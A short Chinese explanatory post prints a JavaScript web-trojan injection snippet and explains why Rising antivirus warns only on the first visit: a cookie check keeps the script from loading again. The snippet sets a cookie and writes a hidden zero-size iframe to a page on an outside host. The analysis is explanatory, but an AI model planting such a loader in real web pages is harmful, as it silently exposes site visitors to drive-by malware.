function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{
document.cookie = "Cookie1=risb;expires="+ Then.toGMTString()
document.writeln("<iframe src=http://www.sat-china.com/wxds/2007/upme.htm?lo2ving width=0 height=0></iframe>");
}
}Get(); //调用函数Get()
以上部分是挂马的代码
首先要知道为什么第二次访问的时候瑞星不报了
因为他是通过cookie进行判断的
你第一次访问的时候虽然瑞星拦截了,但是cookie文件会保存到你的机器中,第二次你在访问的时候,他会因为判断cookie文件存在,所以就什么也不执行了,这个时候网马根本没有运行。
你可以做以下实验:
第一次执行的时候瑞星可以有效拦截,然后进行清除cookie的操作,然后再进行第二次访问,这时候你会发现瑞星还是可以有效拦截的。因为你把cookie删除以后,他认为网马在你机器上没有执行过,所以就回去执行网马了。